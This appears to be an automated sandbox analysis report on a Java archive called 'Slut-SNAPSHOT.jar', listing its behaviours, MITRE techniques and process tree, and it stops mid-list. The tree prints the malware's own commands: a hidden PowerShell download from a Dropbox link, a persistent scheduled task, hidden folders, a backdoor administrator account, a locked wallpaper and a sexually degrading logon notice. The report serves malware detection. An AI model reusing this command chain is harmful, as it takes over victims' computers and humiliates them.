2f042b4719f633a0f1523edbd2a16ff39aa89ac972cfac99b0839ddcf4325508

Resubmissions

28/03/2025, 10:25

250328-mf4saswqx8 9

28/03/2025, 07:35

250328-jen4nstset 9

Analysis

max time kernel
145s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2025, 07:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Slut-SNAPSHOT.jar
Size

9.1MB
MD5

455375c10cda4be422ca3a4650a7a46d
SHA1

8f9feef2b406fc1ef670dfdf7f7d1325be0a487b
SHA256

2f042b4719f633a0f1523edbd2a16ff39aa89ac972cfac99b0839ddcf4325508
SHA512

63df3e4c1a095e11386280f8149250045bb3a23c75aa7ac506b2e1c1dc92af6b28ca611bb26376338c8b810339009d36cc91ff23c42c9f4c3d2d20e2eac742bf
SSDEEP

196608:M0eFhl3/t4NXGPruQgWRMMWmtemJbhCgPBZVjokOGmqOiNJ5tyW0RH16RnbpS2M/:+FhMNIrVeVmLb531zBN3YN16Nc2+1

Score

9^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	1400	powershell.exe
28	1400	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1400	powershell.exe
3276	PowerShell.exe
1400	powershell.exe
2124	powershell.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
1280	net.exe
4428	net1.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3128	attrib.exe
5784	attrib.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updateFiles.vbs	java.exe

Loads dropped DLL 1 IoCs

pid	Process
768	java.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1772	icacls.exe
5364	icacls.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\Desktop\Wallpaper = "c:/ProgramData/slut/wallpaper.jpg"	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\Desktop\Wallpaper = "C:/ProgramData/slut/wallpaper.jpg"	powershell.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1656324278\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\keys.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_79382058\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\my\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1133206145\protocols.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_2004_2083328566\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1656324278\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_79382058\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\hu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1656324278\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_79382058\deny_full_domains.list	msedge.exe
File created	C:\Program Files\test6905536190514212445.dll	java.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_79382058\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\128.png	msedge.exe
File opened for modification	C:\Program Files\test6905536190514212445.dll	java.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ml\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_79382058\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1030495532\_locales\be\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133876209280490860"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3446877943-4095308722-756223633-1000\{E1141000-C990-4195-A1DA-1387FD8D9A84}	msedge.exe

Modifies registry key 1 TTPs 17 IoCs

Modify Registry

T1112

pid	Process
4068	REG.exe
2380	REG.exe
4788	REG.exe
5416	REG.exe
2952	REG.exe
3252	REG.exe
3920	REG.exe
2732	REG.exe
5040	REG.exe
4332	REG.exe
3700	REG.exe
5348	REG.exe
3456	REG.exe
1640	REG.exe
3136	REG.exe
1008	REG.exe
1484	REG.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5264	schtasks.exe
1480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1400	powershell.exe
1400	powershell.exe
2124	powershell.exe
2124	powershell.exe
2124	powershell.exe
3276	PowerShell.exe
3276	PowerShell.exe
3276	PowerShell.exe
5944	msedge.exe
5944	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2004	msedge.exe
2004	msedge.exe
2004	msedge.exe
2004	msedge.exe
2004	msedge.exe
2004	msedge.exe
2004	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	3276	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2004	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
768	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 768 wrote to memory of 1772	768	java.exe	88
PID 768 wrote to memory of 1772	768	java.exe	88
PID 768 wrote to memory of 5364	768	java.exe	89
PID 768 wrote to memory of 5364	768	java.exe	89
PID 768 wrote to memory of 3128	768	java.exe	91
PID 768 wrote to memory of 3128	768	java.exe	91
PID 768 wrote to memory of 5784	768	java.exe	93
PID 768 wrote to memory of 5784	768	java.exe	93
PID 768 wrote to memory of 5612	768	java.exe	95
PID 768 wrote to memory of 5612	768	java.exe	95
PID 768 wrote to memory of 5264	768	java.exe	97
PID 768 wrote to memory of 5264	768	java.exe	97
PID 768 wrote to memory of 2380	768	java.exe	101
PID 768 wrote to memory of 2380	768	java.exe	101
PID 768 wrote to memory of 3920	768	java.exe	102
PID 768 wrote to memory of 3920	768	java.exe	102
PID 768 wrote to memory of 1716	768	java.exe	105
PID 768 wrote to memory of 1716	768	java.exe	105
PID 768 wrote to memory of 1608	768	java.exe	107
PID 768 wrote to memory of 1608	768	java.exe	107
PID 768 wrote to memory of 4788	768	java.exe	109
PID 768 wrote to memory of 4788	768	java.exe	109
PID 768 wrote to memory of 4892	768	java.exe	111
PID 768 wrote to memory of 4892	768	java.exe	111
PID 4892 wrote to memory of 1400	4892	cmd.exe	113
PID 4892 wrote to memory of 1400	4892	cmd.exe	113
PID 768 wrote to memory of 5416	768	java.exe	116
PID 768 wrote to memory of 5416	768	java.exe	116
PID 768 wrote to memory of 3456	768	java.exe	117
PID 768 wrote to memory of 3456	768	java.exe	117
PID 768 wrote to memory of 2732	768	java.exe	118
PID 768 wrote to memory of 2732	768	java.exe	118
PID 768 wrote to memory of 2952	768	java.exe	120
PID 768 wrote to memory of 2952	768	java.exe	120
PID 768 wrote to memory of 5040	768	java.exe	121
PID 768 wrote to memory of 5040	768	java.exe	121
PID 768 wrote to memory of 4332	768	java.exe	129
PID 768 wrote to memory of 4332	768	java.exe	129
PID 768 wrote to memory of 4068	768	java.exe	130
PID 768 wrote to memory of 4068	768	java.exe	130
PID 768 wrote to memory of 3700	768	java.exe	131
PID 768 wrote to memory of 3700	768	java.exe	131
PID 768 wrote to memory of 1640	768	java.exe	133
PID 768 wrote to memory of 1640	768	java.exe	133
PID 768 wrote to memory of 3252	768	java.exe	135
PID 768 wrote to memory of 3252	768	java.exe	135
PID 768 wrote to memory of 1484	768	java.exe	136
PID 768 wrote to memory of 1484	768	java.exe	136
PID 768 wrote to memory of 3136	768	java.exe	137
PID 768 wrote to memory of 3136	768	java.exe	137
PID 768 wrote to memory of 1008	768	java.exe	140
PID 768 wrote to memory of 1008	768	java.exe	140
PID 768 wrote to memory of 1280	768	java.exe	142
PID 768 wrote to memory of 1280	768	java.exe	142
PID 1280 wrote to memory of 4428	1280	net.exe	147
PID 1280 wrote to memory of 4428	1280	net.exe	147
PID 768 wrote to memory of 3696	768	java.exe	152
PID 768 wrote to memory of 3696	768	java.exe	152
PID 3696 wrote to memory of 5884	3696	net.exe	154
PID 3696 wrote to memory of 5884	3696	net.exe	154
PID 4892 wrote to memory of 4384	4892	cmd.exe	155
PID 4892 wrote to memory of 4384	4892	cmd.exe	155
PID 4892 wrote to memory of 2124	4892	cmd.exe	156
PID 4892 wrote to memory of 2124	4892	cmd.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3128	attrib.exe
5784	attrib.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Slut-SNAPSHOT.jar
1⤵
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:768
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:/ProgramData/slut/" /grant Users:F
  2⤵
  - Modifies file permissions
  PID:1772
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:/ProgramData/slutBat/" /grant Users:F
  2⤵
  - Modifies file permissions
  PID:5364
- C:\Windows\SYSTEM32\attrib.exe
  attrib -s +h -r C:/ProgramData/slut
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3128
- C:\Windows\SYSTEM32\attrib.exe
  attrib -s +h -r C:/ProgramData/slutBat
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:5784
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn UpdateslutFiles /F
  2⤵
  PID:5612
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn UpdateslutFiles /tr "C:\ProgramData\slutBat\updateFiles.vbs" /sc hourly /mo 2 /st 09:14
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5264
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d "c:\ProgramData\slut\wallpaper.jpg" /f
  2⤵
  - Modifies registry key
  PID:2380
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 0x00000001 /f
  2⤵
  - Modifies registry key
  PID:3920
- C:\Windows\SYSTEM32\REG.exe
  REG ADD "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "2" /f
  2⤵
  PID:1716
- C:\Windows\SYSTEM32\REG.exe
  REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d "2" /f
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\REG.exe
  REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WallpaperEngine /f
  2⤵
  - Modifies registry key
  PID:4788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\slutBat\updateFiles.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -c "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fo/u9blgzv9sgym9aqmb2xnz/ABRiJrnxs33SHnlzqkJWBJI?rlkey=n0me9dg1p2lscfwspetihkq61&raw=1' -OutFile 'C:/ProgramData/slut/files.zip'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1400
- - C:\Windows\system32\tar.exe
    tar -xf "C:/ProgramData/slut/files.zip"
    3⤵
    PID:4384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -windowstyle hidden -file "C:/ProgramData/slutBat/powershell.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2124
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jum5ksoo\jum5ksoo.cmdline"
      4⤵
      PID:4484
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES56CB.tmp" "c:\Users\Admin\AppData\Local\Temp\jum5ksoo\CSC2E1B06776C264037A3189855DD31FD9.TMP"
        5⤵
        
        PID:4044
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /ve /f
  2⤵
  - Modifies registry key
  PID:5416
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImagePath /t REG_SZ /d "c:\ProgramData\slut\lockScreen.jpg" /f
  2⤵
  - Modifies registry key
  PID:3456
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageUrl /t REG_SZ /d "c:\ProgramData\slut\lockScreen.jpg" /f
  2⤵
  - Modifies registry key
  PID:2732
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageStatus /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2952
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColorMenu /t REG_DWORD /d 0x00cbc0ff /f
  2⤵
  - Modifies registry key
  PID:5040
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\insert.wav" /f
  2⤵
  - Modifies registry key
  PID:4332
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\insert.wav" /f
  2⤵
  - Modifies registry key
  PID:4068
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\eject.wav" /f
  2⤵
  - Modifies registry key
  PID:3700
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\eject.wav" /f
  2⤵
  - Modifies registry key
  PID:1640
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\WindowsUAC\.Default /ve /t REG_SZ /d "c:\ProgramData\slut\default.wav" /f
  2⤵
  - Modifies registry key
  PID:3252
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKCU\AppEvents\Schemes\Apps\.Default\WindowsUAC\.Current /ve /t REG_SZ /d "c:\ProgramData\slut\default.wav" /f
  2⤵
  - Modifies registry key
  PID:1484
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "This PC is claimed by ||CENSORED||" /f
  2⤵
  - Modifies registry key
  PID:3136
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Thank you for running the Slut app! You hereby confirm you are a needy slut and submit your pc to any changes I deem fit. You will see latex porn, cocks cumming, pathetic sluts being tormented and there is nothing you can do about it. And don't forget to thank me~!" /f
  2⤵
  - Modifies registry key
  PID:1008
- C:\Windows\SYSTEM32\net.exe
  net user /delete Censored
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user /delete Censored
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:4428
- C:\Windows\SYSTEM32\net.exe
  net user /add Censored 12characters
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user /add Censored 12characters
    3⤵
    PID:5884
- C:\Windows\SYSTEM32\net.exe
  net localgroup administrators Censored /add
  2⤵
  PID:2480
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators Censored /add
    3⤵
    PID:3472
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start https://twitter.com/intent/tweet?text=I%20ran%20the%20slut%20app%20and%20am%20a%20huge%20slut!%20Thank%20you%20%40sw_takeover%20for%20sharing%20this%20with%20the%20world%20%F0%9F%92%9C%F0%9F%92%9C%0A%0Awant%20to%20know%20more%3F%0Ahttps%3A%2F%2Ftwitter.com%2Fsw_takeover
  2⤵
  PID:1956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/intent/tweet?text=I%20ran%20the%20slut%20app%20and%20am%20a%20huge%20slut!%20Thank%20you%20%40sw_takeover%20for%20sharing%20this%20with%20the%20world%20%F0%9F%92%9C%F0%9F%92%9C%0A%0Awant%20to%20know%20more%3F%0Ahttps%3A%2F%2Ftwitter.com%2Fsw_takeover
    3⤵
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:2004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x2ec,0x7ffed3d9f208,0x7ffed3d9f214,0x7ffed3d9f220
      4⤵
      PID:4752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1928,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:3
      4⤵
      PID:1472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2260,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:2
      4⤵
      PID:688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2592,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:8
      4⤵
      PID:3676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3488,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
      4⤵
      PID:2520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3496,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
